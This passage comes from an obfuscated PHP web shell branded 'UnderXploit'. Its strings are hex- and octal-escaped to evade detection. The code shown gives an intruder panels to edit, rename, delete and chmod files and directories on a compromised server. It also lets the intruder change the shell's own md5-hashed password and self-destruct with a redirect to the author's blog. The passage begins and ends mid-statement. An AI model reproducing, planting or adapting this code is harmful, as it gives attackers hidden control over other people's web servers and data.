$_UNDERXPLOIT["\146\x69\x6c\145"] . "\47\51\x22\76\x3c\142\165\164\164\x6f\156\40\x63\x6c\x61\163\x73\75\47\143\157\x4c\x2d\x62\x74\x6e\55\157\160\x74\151\157\x6e\x27\76\x3c\x69\x20\143\154\x61\163\x73\x3d\47\172\155\144\x69\40\172\155\x64\151\55\145\x79\x65\x20\172\x6d\144\x69\x2d\150\x63\55\x66\x77\47\76\x3c\57\x69\76\x3c\x2f\x62\x75\164\x74\157\156\76\x3c\57\141\76\x3c\57\x74\x68\x3e\xa\x3c\x74\150\x3e\x3c\141\40\x6f\156\143\x6c\x69\143\x6b\75\x22\x63\50\x27\77" . x7 . "\145\x64\151\164\x26" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\151\154\x65"] . "\x27\x29\42\x3e\x3c\x62\x75\164\164\x6f\156\x20\x63\154\141\163\163\x3d\47\143\x6f\x4c\55\x62\x74\x6e\55\x6f\160\x74\x69\x6f\x6e\47\x3e\74\x69\x20\x63\154\x61\163\x73\75\x27\x7a\x6d\144\151\40\x7a\x6d\144\x69\x2d\x65\x64\151\x74\x20\x7a\155\144\x69\x2d\x68\143\55\x66\x77\x27\76\x3c\x2f\x69\x3e\74\x2f\x62\x75\164\164\157\x6e\x3e\x3c\57\x61\x3e\x3c\57\x74\x68\x3e\xa\74\x74\x68\76\x3c\141\x20\157\156\143\154\x69\143\x6b\75\x22\x63\x28\47\x3f" . x7 . "\162\145\156\x61\155\x65\46" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\151\x6c\x65"] . "\47\51\x22\x3e\74\142\x75\x74\x74\x6f\x6e\x20\143\x6c\141\163\163\x3d\x27\x63\157\x4c\x2d\x62\x74\x6e\x2d\x6f\x70\164\x69\157\156\x27\x3e\74\x69\x20\x63\x6c\x61\x73\x73\x3d\x27\172\155\x64\151\40\x7a\155\144\x69\x2d\146\151\x6c\145\x2d\x74\x65\170\x74\x20\172\155\x64\x69\x2d\x68\143\x2d\146\x77\47\x3e\74\x2f\151\76\x3c\57\142\x75\164\164\x6f\156\76\x3c\57\x61\x3e\74\57\x74\150\76\12\x3c\x74\x68\76\74\x62\x75\164\x74\157\x6e\40\x63\154\x61\163\x73\75\47\143\x6f\114\55\142\164\x6e\x2d\x6f\160\164\x69\157\x6e\x2d\x61\x63\164\x69\x76\x65\47\76\74\x69\x20\143\154\141\x73\x73\75\x27\x7a\155\144\151\40\x7a\x6d\x64\151\55\x77\162\x65\x6e\x63\150\x20\172\x6d\144\151\55\x68\x63\55\146\x77\47\76\74\57\151\76\74\57\x62\165\x74\164\157\x6e\x3e\x3c\57\164\x68\76\xa\x3c\164\x68\76\x3c\x61\40\157\156\x63\x6c\x69\143\153\x3d\42\143\x28\x27\77" . x7 . "\144\x65\154\145\x74\145\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\x66\x69\154\x65"] . "\x27\51\x22\76\74\142\x75\164\164\x6f\156\x20\x63\154\141\x73\163\75\47\x63\157\x4c\55\x62\164\x6e\x2d\157\160\164\x69\157\x6e\47\76\74\x69\x20\x63\154\141\x73\x73\x3d\47\172\x6d\x64\x69\40\172\155\144\151\55\x64\x65\154\145\164\x65\x20\x7a\155\144\x69\55\x68\143\x2d\x66\167\x27\76\x3c\x2f\x69\x3e\x3c\x2f\x62\x75\164\164\157\x6e\x3e\x3c\x2f\x61\76\74\57\x74\150\76\74\57\x74\x61\142\x6c\x65\x3e\x3c\57\x64\151\166\76\xa\x9\x3c\x64\x69\166\40\143\154\x61\163\163\x3d\47\143\157\x4c\x2d\x6f\x70\x74\x69\157\156\40\164\157\160\x27\x3e\x3c\142\162\x20\x2f\x3e\x3c\x62\162\76\xa\x9\74\143\145\x6e\x74\x65\x72\x3e\12\11\x9\74\x69\x20\143\x6c\x61\x73\x73\75\47\172\155\x64\x69\40\x7a\x6d\144\151\x2d\x77\162\145\x6e\x63\x68\x20\x7a\x6d\144\151\55\150\x63\55\x66\167\x20\x7a\x6d\144\151\x2d\150\x63\55\x34\170\x27\76\74\57\151\x3e\x3c\57\143\145\x6e\164\x65\x72\76\x3c\x62\162\x3e\74\142\x72\40\57\x3e\12\74\146\157\x72\155\40\141\x63\x74\x69\x6f\x6e\x3d\47\x3f" . x7 . "\143\150\x6d\x6f\x64\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\151\154\145"] . "\47\x20\x73\x74\171\x6c\145\75\47\x6d\141\x72\x67\151\x6e\x3a\60\x70\170\x27\x20\x6d\145\x74\x68\x6f\144\x3d\x27\160\157\x73\x74\47\76\12\x3c\x74\141\x62\154\x65\x20\x63\x65\154\154\x73\x70\x61\143\x69\x6e\x67\75\47\60\x27\x3e\xa\11\74\x74\x64\x20\141\x6c\151\147\x6e\x3d\x27\x63\x65\x6e\x74\145\162\x27\40\163\x74\171\154\x65\75\47\x77\151\x64\x74\x68\x3a\x31\60\45\x27\x3e\74\151\x20\143\154\141\x73\163\75\x27\x7a\x6d\144\151\x20\x7a\x6d\144\x69\55\x63\150\145\166\162\157\156\x2d\x72\x69\147\x68\x74\40\x7a\x6d\x64\151\x2d\150\143\55\146\x77\x27\76\74\x2f\151\x3e\40\74\x2f\164\144\x3e\74\164\144\40\163\x74\x79\x6c\145\75\x27\167\151\x64\x74\x68\x3a\67\60\45\x27\x3e\xa\x3c\151\x6e\x70\x75\164\40\x74\x79\x70\x65\x3d\47\x6e\165\x6d\142\145\x72\x27\x20\x76\x61\154\x75\x65\75\47" . substr(sprintf("\x25\157", fileperms($_UNDERXPLOIT["\x66\151\x6c\145"])), -4) . "\x27\40\156\x61\x6d\145\x3d\x27\x70\x65\162\155\x27\x20\x73\x74\x79\x6c\x65\75\47\x77\x69\144\x74\x68\72\61\60\60\x25\47\x20\x69\x64\75\x27\x64\x65\x63\157\143\x74\x27\x3e\74\x2f\164\x64\76\x3c\164\x64\x20\163\x74\171\x6c\x65\x3d\47\x77\151\144\x74\x68\x3a\x32\60\45\47\76\xa\11\x3c\x62\165\164\x74\157\x6e\x20\151\x64\x3d\x27\143\150\143\162\x6f\x74\47\x20\143\154\x61\x73\163\x3d\47\142\x74\x6e\55\x65\170\x65\47\40\157\x6e\143\154\151\143\153\75\x27\x63\x68\155\x6f\x64\50\51\x3b\40\162\x65\164\165\162\156\40\x66\x61\154\x73\145\x27\x3e\74\151\x20\143\x6c\141\x73\163\75\x27\172\x6d\x64\x69\x20\x7a\155\x64\151\x2d\x6c\x6f\156\x67\55\x61\162\162\157\x77\x2d\162\145\164\x75\162\x6e\x20\172\x6d\x64\151\55\x68\x63\x2d\x66\x77\x27\x3e\x3c\57\x69\x3e\74\x2f\x62\165\164\164\x6f\x6e\76\x3c\x2f\x74\x64\76\74\x2f\164\x61\142\x6c\145\x3e\12\11\74\57\146\157\162\x6d\x3e\x3c\x2f\x64\151\166\x3e\x3c\x2f\x64\x69\166\76"; print "\74\163\143\162\x69\160\x74\40\x74\x79\160\x65\75\x22\x74\145\x78\x74\x2f\152\141\166\x61\x73\143\162\x69\160\x74\x22\76\146\165\x6e\143\x74\x69\157\156\40\x63\150\x6d\157\x64\50\51\173\xa\x69\x66\x28\x64\x6f\143\165\155\145\156\164\x2e\x67\x65\x74\105\x6c\x65\x6d\145\x6e\164\102\171\111\x64\50\x22\144\x65\143\157\x63\x74\x22\51\x2e\166\x61\x6c\x75\145\x20\75\75\x20\x22\x22\51\173"; s("\x46\x6f\x72\155\40\144\157\40\x6e\x6f\x74\x20\154\x65\x61\x76\145\40\x65\x6d\x70\164\x79"); print "\x64\x6f\x63\165\x6d\145\156\164\x2e\x67\145\164\105\154\x65\x6d\145\x6e\164\x42\x79\x49\x64\x28\42\x64\x65\143\157\143\x74\42\x29\x2e\146\x6f\143\165\163\x28\51\73\12\40\40\40\x20\40\x20\x72\x65\x74\x75\x72\x6e\40\146\x61\154\163\x65\73\xa\11\x7d\40\144\157\x63\165\x6d\145\156\x74\x2e\x67\145\164\105\x6c\145\155\145\x6e\164\x42\171\111\x64\50\42\x63\150\x63\x72\x6f\x74\42\51\x2e\163\165\142\x6d\x69\x74\50\51\73\xa\175\x20\74\57\163\x63\162\151\160\x74\x3e"; break; case "\x63\x68\x61\156\147\145": print "\x3c\x64\151\166\x20\143\x6c\x61\x73\x73\75\x22\143\x6f\x4c\55\x70\141\156\x65\154\42\76\x3c\164\x61\142\154\x65\x3e\x3c\164\x64\40\143\154\x61\163\163\x3d\x22\164\x64\x2d\x70\x61\156\x65\x6c\x22\x3e\74\143\x65\x6e\164\x65\162\76\x3c\144\x69\x76\40\x63\x6c\x61\x73\x73\75\42\154\x6f\x61\x64\145\x72\42\x3e\74\x2f\144\x69\166\x3e\74\57\143\145\156\x74\145\162\76\74\x2f\164\144\76\74\x74\x64\x20\143\x6c\x61\163\x73\x3d\x22\164\x64\x2d\160\x61\x6e\145\x6c\x2d\x72\151\147\150\164\x22\x3e\x43\x48\101\x4e\x47\105\x20\x50\x41\x53\123\127\117\x52\104\x3c\x2f\x74\144\x3e\74\57\164\x61\x62\154\x65\x3e\74\57\x64\151\x76\76"; function xs($file) { return file_get_contents($file); } function chipt($plain) { return md5($plain); } function changepass($plain) { $npass = chipt($plain); $npass = "\44\160\x61\x73\x73\x20\x3d\x20\42" . $npass . "\x22\73"; $con = xs($_SERVER["\123\103\x52\111\120\124\137\x46\x49\114\105\x4e\101\x4d\105"]); $con = preg_replace("\57\134\x24\x70\x61\x73\163\x5c\x20\52\x3d\134\40\x2a\133\42\134\x27\x5d\52\50\x5b\141\55\x66\x41\55\106\60\x2d\x39\135\x2a\x29\x5b\42\134\47\135\x2a\73\x2f\151\163", $npass, $con); return file_put_contents($_SERVER["\x53\x43\x52\x49\x50\x54\137\106\111\x4c\x45\116\101\115\105"], $con); } switch (true) { case $_UNDERXPLOIT["\156\x65\167\160\141\x73\x73"]: switch (true) { case chipt($_UNDERXPLOIT["\x6e\x65\x77\160\x61\x73\163"]) == $pass: bacot("\x50\141\163\163\x77\x6f\x72\x64\40\151\163\40\164\x68\x65\40\163\141\x6d\145\x20\x61\x73\x20\141\164\40\x74\x68\151\x73\40\164\151\x6d\145"); break; case changepass($_UNDERXPLOIT["\x6e\145\167\x70\x61\163\x73"]): mtr("\x3f" . x5 . $dir . "\46" . x7 . "\x6c\x6f\x67\157\165\164"); bacot("\x50\141\x73\x73\167\157\162\x64\x20\143\150\141\x6e\x67\x65\144"); break; default: bacot("\x55\156\x61\142\x6c\x65\40\164\157\40\143\150\141\156\x67\x65\40\x70\x61\163\163\167\157\162\144"); } } print "\x3c\x73\x63\x72\151\160\164\40\x74\x79\x70\145\75\42\x74\x65\x78\164\57\152\x61\x76\141\163\143\162\x69\x70\164\x22\x3e\xa\146\x75\x6e\143\x74\151\x6f\156\x20\166\x61\154\x69\144\141\x74\x65\x28\51\40\173\xa\x9\x9\11\166\141\162\40\x61\40\75\x20\x64\157\143\165\155\x65\x6e\164\x2e\147\145\164\105\154\145\155\x65\156\164\102\x79\111\144\50\42\x6e\145\x77\160\141\x73\x73\42\51\56\166\141\x6c\165\145\73\12\40\x20\40\40\40\40\40\x20\40\40\40\x20\x76\x61\x72\40\142\x20\x3d\x20\144\x6f\143\165\155\145\x6e\164\x2e\x67\x65\x74\105\154\x65\155\145\x6e\x74\102\x79\111\x64\50\42\143\x6f\156\146\x69\x72\x6d\x22\x29\56\x76\141\154\165\145\x3b\xa\40\40\x20\40\x20\x20\40\40\40\x20\40\40\151\146\x28\141\x21\75\142\x29\40\x7b"; s("\120\141\x73\163\167\157\162\144\40\144\157\x20\x6e\157\x74\x20\x6d\x61\x74\143\150"); print "\x72\145\x74\x75\x72\x6e\40\146\141\154\x73\145\x3b\x20\12\11\x7d\xa\175\x20\x3c\x2f\163\x63\162\x69\160\164\76"; print "\74\x64\x69\166\x20\143\154\x61\163\x73\x3d\x27\143\x6f\x4c\x2d\157\x70\x74\151\x6f\x6e\x20\x74\x6f\x70\47\x3e\xa\x20\x20\40\40\x3c\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\x3d\x27\160\x6f\163\164\x27\40\x6f\156\123\x75\x62\x6d\x69\164\x3d\x27\x72\145\x74\165\162\156\40\166\x61\154\151\x64\141\164\145\50\51\73\x27\40\x61\143\x74\151\157\x6e\75\x27\x3f" . x7 . "\143\150\x61\x6e\x67\145\x26" . x5 . $dir . "\47\76\12\40\x20\40\x20\40\x20\x20\x20\x3c\164\141\x62\x6c\x65\40\163\164\x79\154\145\x3d\47\x77\151\x64\164\x68\x3a\x31\60\60\x25\x27\x3e\12\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\x3c\x74\x64\40\x63\154\141\x73\x73\75\x27\x74\165\160\47\x20\x73\x74\171\x6c\145\75\x27\167\x69\x64\x74\150\72\61\62\60\x70\170\47\x3e\x50\141\x73\163\167\157\x72\144\x20\72\x3c\57\x74\x64\x3e\xa\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x3c\164\144\x20\163\x74\171\x6c\x65\x3d\47\167\x69\144\164\x68\x3a\67\65\45\x27\x3e\x3c\x69\x6e\160\165\164\x20\164\x79\x70\x65\75\x27\x70\141\163\x73\167\x6f\162\144\47\40\151\x64\x3d\x27\x6e\145\x77\x70\x61\x73\163\x27\x20\156\141\155\145\75\x27\x6e\x65\x77\160\141\x73\163\x27\x20\163\x74\x79\154\x65\75\x27\167\x69\144\x74\x68\x3a\x31\60\x30\45\x27\76\74\x2f\164\144\x3e\xa\40\x20\x20\x20\40\40\40\x20\x3c\164\x72\76\xa\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x3c\x74\x64\x20\143\154\x61\163\163\x3d\x27\164\165\x70\x27\x20\x73\x74\x79\x6c\145\x3d\x27\x77\x69\x64\164\x68\x3a\x31\x32\60\160\170\47\x3e\x43\x6f\156\x66\151\x72\155\x20\72\x3c\x2f\164\144\76\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x74\x64\40\163\164\x79\x6c\x65\x3d\47\x77\x69\x64\x74\x68\x3a\x37\x35\45\x27\76\74\151\156\160\x75\x74\x20\164\x79\160\x65\75\47\x70\141\163\x73\x77\x6f\x72\x64\x27\x20\x69\x64\x3d\47\x63\x6f\x6e\146\x69\x72\x6d\x27\40\x6e\141\x6d\145\75\x27\143\x6f\x6e\x66\x69\162\x6d\x27\40\x73\x74\171\154\145\x3d\47\167\x69\x64\x74\x68\72\x31\x30\60\x25\47\x3e\x3c\x2f\x74\x64\76\xa\x20\x20\40\40\40\x20\x20\40\74\164\x72\x3e\12\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\74\164\x64\x20\163\164\x79\154\145\75\x27\167\151\144\164\150\x3a\61\62\60\x70\170\47\x3e\x3c\57\164\144\x3e\xa\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\74\164\144\40\x73\164\x79\154\145\75\x27\167\x69\x64\x74\150\x3a\67\65\45\47\76\12\x20\x20\x20\x20\40\40\40\x20\40\40\40\x3c\142\x75\x74\164\157\156\40\x74\x79\160\x65\x3d\47\163\165\x62\x6d\x69\164\x27\40\x6e\x61\155\145\x3d\x27\x63\x70\x73\47\x20\x63\x6c\x61\163\x73\x3d\x27\142\164\156\x2d\145\x78\x65\47\x20\x6f\156\x63\154\x69\143\153\x3d\47\x73\141\166\x65\106\x6f\162\155\x28\51\x3b\162\145\x74\x75\x72\156\x20\146\x61\154\163\145\x3b\x27\x20\163\164\171\154\145\75\x27\x77\151\144\164\x68\72\61\60\x30\x70\x78\47\x20\x69\x64\75\47\x62\x63\x6b\x27\x3e\74\x69\40\x63\154\x61\163\163\x3d\x27\x7a\155\x64\x69\x20\x7a\x6d\144\151\55\x6c\x6f\156\147\x2d\x61\x72\x72\x6f\x77\x2d\162\x65\x74\x75\162\156\40\172\155\x64\x69\x2d\150\x63\55\146\x77\47\x3e\74\57\151\x3e\74\x2f\142\x75\x74\x74\157\156\76\74\57\x74\144\x3e\12\40\x20\40\x20\40\x20\x20\40\74\x2f\x74\x61\142\x6c\145\x3e\xa\40\40\40\40\x3c\57\146\x6f\162\155\76\xa\74\57\x64\x69\166\x3e\74\x2f\x64\x69\x76\76"; print "\x3c\163\143\162\151\160\164\40\x74\171\160\145\75\x22\164\x65\x78\164\57\x6a\141\x76\x61\x73\x63\162\x69\x70\164\42\76\x66\x75\x6e\143\x74\x69\x6f\x6e\x20\163\x61\166\x65\x46\x6f\162\x6d\x28\x29\173\xa\x69\x66\50\144\x6f\143\x75\x6d\x65\156\164\56\147\x65\164\x45\154\x65\155\145\156\x74\x42\x79\111\144\50\x22\x6e\145\x77\x70\x61\x73\x73\x22\x29\56\x76\141\x6c\165\x65\x20\x3d\75\40\x22\42\51\x7b"; s("\105\x6e\164\145\x72\x20\156\145\x77\40\160\x61\163\x73\x77\157\162\144"); print "\144\x6f\143\165\155\145\x6e\x74\x2e\147\x65\x74\x45\154\145\x6d\x65\156\164\102\x79\x49\144\50\42\x6e\145\167\160\x61\163\x73\x22\x29\x2e\x66\157\x63\x75\163\x28\x29\x3b\xa\x20\x20\40\x20\x20\x20\162\x65\164\165\x72\x6e\x20\x66\x61\154\163\x65\73\xa\40\x20\40\x20\175\12\151\146\x28\x64\157\143\x75\x6d\x65\156\164\x2e\147\145\164\x45\154\x65\155\145\156\164\102\x79\x49\144\x28\42\143\157\156\146\151\x72\x6d\x22\x29\x2e\166\x61\x6c\165\x65\x20\75\75\x20\x22\x22\51\173"; s("\x43\157\x6e\x66\x69\x72\155\40\x79\157\x75\x72\40\160\x61\163\163\167\157\x72\144"); print "\x72\x65\164\x75\162\x6e\40\146\x61\154\163\x65\73\12\x20\x20\x20\40\175\xa\40\40\40\40\144\x6f\x63\165\155\x65\x6e\164\56\147\x65\164\105\154\x65\x6d\x65\156\x74\x42\171\111\144\x28\x22\142\143\x6b\42\51\x2e\163\x75\x62\155\151\164\x28\x29\73\12\175\xa\74\x2f\x73\143\x72\x69\160\164\x3e"; break; case "\x6b\151\x6c\154": switch (true) { case file_exists("\165\x6e\144\x65\x72\x78\160\154\x6f\151\164\x2e\160\150\160"): unlink("\165\156\x64\145\162\170\x70\154\157\151\164\x2e\x70\150\x70"); unlink(__FILE__); bacot("\x47\x6f\157\x64\x20\102\171\145\x20\x42\141\142\171\40\x3a\47\51"); mtr("\150\x74\x74\160\x3a\x2f\57\x75\x6e\144\x65\162\x78\160\154\x6f\x69\x74\x2e\142\154\x6f\x67\163\160\157\x74\x2e\x63\157\155"); } break; case "\x72\x65\x6e\x61\144\151\162": $c = $_UNDERXPLOIT["\145"]; switch (true) { case $_UNDERXPLOIT["\x65"]: $e = rename($dir, '' . dirname($dir) . "\57" . htmlspecialchars($_UNDERXPLOIT["\145"]) . ''); switch (true) { case $e: print "\x3c\163\x63\162\151\x70\x74\40\x74\x79\160\145\x3d\42\164\145\170\x74\57\x6a\x61\166\141\x73\143\162\151\160\x74\x22\76\x63\50\42\x3f" . x5 . dirname($dir) . "\x22\x29\73\x3c\57\x73\143\x72\151\x70\164\x3e"; break; default: bacot("\120\x65\162\155\151\x73\163\151\x6f\x6e\x20\x64\x65\156\x69\145\x64"); } } print "\74\x64\x69\x76\x20\x63\x6c\141\163\x73\75\x22\143\157\x4c\55\160\141\x6e\145\x6c\x22\x3e\x3c\x74\x61\x62\154\x65\x3e\x3c\x74\144\40\x63\x6c\141\163\x73\x3d\x22\164\x64\x2d\x70\x61\x6e\x65\154\x22\x3e\x3c\143\x65\x6e\164\145\162\76\74\144\x69\166\40\143\154\x61\163\x73\x3d\42\x6c\157\x61\x64\145\162\42\x3e\x3c\57\x64\x69\166\x3e\x3c\57\143\x65\x6e\x74\x65\162\x3e\x3c\x2f\164\x64\x3e\74\164\144\x20\x63\x6c\x61\x73\163\75\x22\x74\x64\55\160\141\156\145\x6c\x2d\x72\x69\x67\x68\x74\x22\76\x52\105\116\101\x4d\105\x20\104\x49\122\105\103\x54\117\x52\131\x3c\57\164\144\76\x3c\x2f\x74\x61\142\x6c\145\x3e\74\x2f\x64\151\166\x3e"; print "\x3c\144\151\166\x20\x63\x6c\141\x73\163\x3d\x27\143\x6f\114\x2d\157\x70\164\x69\x6f\156\x20\x74\x6f\160\x27\x3e\x3c\142\162\x20\57\76\x3c\142\x72\40\x2f\x3e\74\x63\145\x6e\164\145\x72\x3e\74\151\x20\x63\x6c\141\163\x73\x3d\47\x7a\x6d\x64\x69\40\x7a\x6d\144\x69\x2d\x66\157\154\x64\145\x72\x2d\157\x75\164\154\x69\156\145\40\x7a\x6d\x64\151\x2d\150\143\55\x66\167\x20\172\x6d\144\151\x2d\x68\143\55\x34\170\x27\x3e\74\57\x69\x3e\74\x2f\143\145\156\x74\x65\162\x3e\x3c\142\x72\40\57\x3e\74\x62\162\x20\x2f\76"; print "\x3c\x66\x6f\x72\x6d\x20\x61\x63\x74\151\157\156\x3d\47\77" . x7 . "\x72\145\156\141\144\x69\162\x26" . x5 . $dir . "\47\40\163\x74\x79\154\x65\75\x27\x6d\141\x72\147\151\x6e\72\x30\x70\x78\47\x20\155\x65\164\x68\157\144\75\47\160\157\163\164\47\x3e\x3c\x74\x61\x62\154\x65\x20\x63\x65\154\x6c\163\x70\x61\143\151\156\x67\75\47\x30\x27\x3e\74\x74\x64\x20\x61\154\x69\x67\156\x3d\x27\143\x65\x6e\164\x65\x72\x27\x20\163\164\x79\x6c\x65\75\47\167\x69\x64\x74\150\72\x31\60\x25\47\x3e\74\151\x20\x63\x6c\x61\163\163\75\47\172\x6d\144\151\x20\x7a\155\x64\151\55\x63\150\145\166\162\x6f\156\55\x72\151\147\x68\x74\x20\172\155\144\151\x2d\x68\x63\55\x66\167\47\76\74\57\151\x3e\40\74\x2f\164\x64\x3e\74\164\x64\40\x73\x74\171\154\x65\75\x27\167\151\144\164\150\x3a\67\60\x25\x27\76\74\x69\x6e\160\165\164\x20\x74\x79\160\145\x3d\x27\164\x65\170\164\47\x20\166\x61\154\x75\x65\x3d\47" . basename($dir) . "\47\x20\156\x61\x6d\x65\75\47\x65\x27\40\x69\144\x3d\47\166\x72\156\x27\76\74\x2f\164\x64\x3e\74\x74\x64\x20\163\x74\x79\x6c\x65\x3d\47\167\151\144\x74\150\x3a\62\60\45\x27\x3e\x3c\142\165\x74\x74\157\156\40\164\x79\160\x65\x3d\x27\163\x75\x62\155\x69\x74\x27\40\143\154\x61\163\x73\x3d\x27\142\164\x6e\55\145\x78\x65\47\x20\x6f\x6e\x63\154\151\x63\153\75\47\x72\x6e\155\x28\x29\x3b\40\162\145\x74\x75\162\156\x20\146\141\154\x73\x65\x27\40\151\144\x3d\x27\162\x6e\47\x3e\x3c\x69\40\143\x6c\141\163\x73\75\x27\172\x6d\x64\x69\40\x7a\x6d\144\x69\55\x6c\157\x6e\x67\x2d\x61\x72\x72\x6f\x77\55\162\x65\x74\165\x72\x6e\x20\x7a\x6d\x64\151\55\x68\x63\55\146\167\47\76\x3c\57\151\x3e\x3c\57\142\x75\164\x74\157\x6e\x3e\x3c\x2f\164\144\76\x3c\57\164\x61\x62\154\x65\x3e\x3c\x2f\146\157\162\x6d\76\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e"; print "\x3c\x73\143\162\x69\x70\x74\x20\x74\171\160\145\x3d\x22\164\x65\x78\x74\57\x6a\x61\166\x61\163\x63\x72\151\160\164\x22\76\146\165\156\x63\164\x69\x6f\156\x20\162\156\x6d\x28\x29\x7b\12\x69\146\x28\144\x6f\143\x75\155\145\x6e\164\x2e\x67\145\x74\105\154\x65\x6d\145\156\164\102\x79\x49\x64\x28\x22\166\x72\x6e\x22\x29\x2e\166\141\154\x75\x65\x20\75\75\40\x22\x22\x29\173"; s("\x46\157\162\x6d\x20\144\157\x20\156\x6f\164\x20\x6c\x65\141\166\145\x20\x65\x6d\x70\164\x79"); print "\144\157\x63\x75\x6d\x65\156\164\x2e\x67\x65\x74\105\154\145\x6d\x65\156\164\102\171\111\144\50\x22\x76\x72\156\x22\x29\56\x66\x6f\x63\165\163\x28\x29\73\xa\x20\x20\x20\40\40\x20\x72\145\164\165\162\156\x20\146\x61\x6c\163\145\x3b\12\11\175\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x67\145\164\105\x6c\x65\155\x65\x6e\x74\102\171\111\144\50\x22\162\x6e\x22\51\56\163\165\x62\155\151\x74\50\x29\x3b\xa\x7d\x20\74\x2f\x73\x63\x72\x69\160\164\76"; break; case "\x63\x68\x6d\144\x69\x72": switch (true) { case $_UNDERXPLOIT["\160\x65\x72\155"]: switch (true) { case chmod($dir, octdec($_UNDERXPLOIT["\x70\x65\x72\155"])): mtr("\x3f" . x7 . "\143\150\155\144\151\162\46" . x5 . $dir); bacot("\104\151\x72\x65\143\x74\157\162\x79\40\143\x68\x61\156\147\x65\144\x20\x6d\x6f\144\x65\40\164\x6f\x20" . decoct(octdec($_UNDERXPLOIT["\x70\145\162\155"]))); break; default: bacot("\x50\x65\x72\155\x69\163\x73\151\x6f\x6e\40\x64\145\156\151\x65\144"); } } print "\74\144\151\166\x20\143\x6c\141\x73\x73\75\42\x63\157\x4c\x2d\x70\x61\156\x65\154\x22\x3e\74\x74\x61\x62\x6c\x65\76\x3c\x74\144\40\143\x6c\141\x73\163\75\42\x74\x64\x2d\160\141\x6e\145\x6c\x22\76\74\143\x65\x6e\164\145\x72\x3e\74\x64\151\x76\40\143\x6c\x61\163\x73\75\x22\x6c\x6f\141\144\145\x72\42\x3e\x3c\x2f\x64\x69\x76\76\x3c\57\143\x65\x6e\164\145\162\x3e\74\x2f\x74\x64\76\x3c\164\x64\40\143\x6c\x61\163\163\x3d\42\x74\x64\x2d\x70\141\x6e\x65\154\x2d\x72\x69\147\x68\x74\42\x3e\x43\110\115\117\104\x20\104\x49\122\x45\103\124\x4f\x52\131\40\x3c\57\164\144\76\74\x2f\164\141\x62\x6c\x65\76\74\57\144\x69\166\x3e"; print "\74\144\151\x76\x20\x63\x6c\141\163\x73\75\47\143\157\114\55\x6f\x70\164\151\157\x6e\40\x74\157\160\x27\76\x3c\x62\x72\40\x2f\76\74\x62\x72\x20\x2f\x3e\x3c\x63\x65\156\164\145\x72\76\x3c\x69\x20\x63\x6c\x61\x73\163\x3d\47\x7a\155\144\151\x20\x7a\x6d\x64\x69\55\x77\162\145\x6e\x63\x68\40\172\155\x64\151\55\150\x63\x2d\x66\167\x20\172\x6d\x64\151\55\x68\143\55\64\x78\47\76\74\57\x69\76\x3c\57\x63\145\156\164\x65\162\x3e\x3c\142\x72\40\57\x3e\74\142\162\x20\57\x3e"; print "\x3c\146\x6f\x72\155\x20\141\143\x74\x69\157\x6e\x3d\x27\x3f" . x7 . "\143\150\x6d\144\151\x72\46" . x5 . $dir . "\47\40\x73\x74\171\154\145\75\x27\155\x61\162\147\x69\156\72\x30\x70\x78\x27\40\x6d\145\x74\150\157\x64\x3d\47\160\x6f\163\164\x27\76\74\x74\x61\x62\154\145\40\x63\x65\154\x6c\163\160\x61\143\x69\x6e\x67\x3d\x27\60\47\x3e\74\164\x64\40\x61\x6c\151\147\156\x3d\x27\x63\x65\156\164\x65\x72\47\x20\x73\x74\171\154\x65\x3d\x27\x77\x69\x64\x74\x68\72\61\60\45\47\76\74\x69\x20\x63\154\141\x73\163\75\x27\x7a\x6d\x64\151\40\172\155\144\151\55\x63\x68\x65\166\162\157\156\x2d\x72\x69\147\x68\x74\40\172\155\x64\151\x2d\x68\143\55\146\x77\x27\x3e\74\57\x69\76\x20\x3c\x2f\164\x64\x3e\x3c\x74\144\x20\x73\x74\171\x6c\145\x3d\x27\x77\151\144\164\150\x3a\67\x30\45\47\x3e\74\x69\x6e\x70\x75\164\x20\164\x79\160\145\x3d\x27\156\x75\155\x62\145\x72\x27\x20\x76\141\154\x75\x65\75\x27" . substr(sprintf("\x25\157", fileperms($dir)), -4) . "\47\40\x6e\x61\155\145\75\x27\x70\x65\162\x6d\x27\x20\x69\144\x3d\47\144\x65\143\157\x63\x74\x27\76\74\57\x74\144\x3e\74\x74\x64\40\x73\x74\x79\x6c\x65\75\47\167\151\x64\164\x68\x3a\x32\60\x25\x27\x3e\x3c\142\165\164\164\157\156\40\x74\x79\x70\x65\x3d\47\163\165\x62\155\x69\164\x27\40\151\x64\x3d\x27\x63\x68\x63\162\x6f\x74\47\x20\x6f\156\x63\x6c\x69\143\153\75\x27\x63\150\155\157\144\x28\x29\x3b\40\x72\145\164\165\x72\x6e\40\x66\x61\x6c\x73\145\x27\40\143\154\141\163\163\75\47\142\x74\x6e\x2d\x65\170\x65\x27\x3e\x3c\151\x20\143\x6c\141\163\163\75\x27\x7a\155\x64\x69\40\172\155\x64\151\55\154\x6f\x6e\x67\55\x61\162\x72\157\167\x2d\x72\x65\164\x75\162\x6e\x20\x7a\155\x64\x69\x2d\150\x63\x2d\146\x77\47\76\x3c\57\151\x3e\74\x2f\x62\x75\164\164\157\x6e\76\x3c\57\x74\x64\x3e\74\57\x74\x61\x62\154\145\x3e\74\x2f\x66\157\x72\155\x3e\74\x2f\x64\x69\x76\x3e\74\57\144\151\166\76"; print "\x3c\163\143\x72\x69\160\164\x20\x74\x79\x70\145\75\42\164\x65\170\x74\57\x6a\141\x76\x61\163\143\x72\151\x70\x74\42\76\x66\165\x6e\x63\x74\x69\157\x6e\40\143\150\x6d\x6f\144\50\x29\173\12\151\146\x28\144\x6f\x63\x75\155\145\x6e\x74\56\147\x65\x74\105\x6c\145\155\145\x6e\164\102\x79\x49\x64\x28\x22\x64\x65\x63\x6f\x63\x74\x22\x29\x2e\x76\x61\x6c\165\x65\40\x3d\x3d\40\42\42\51\x7b"; 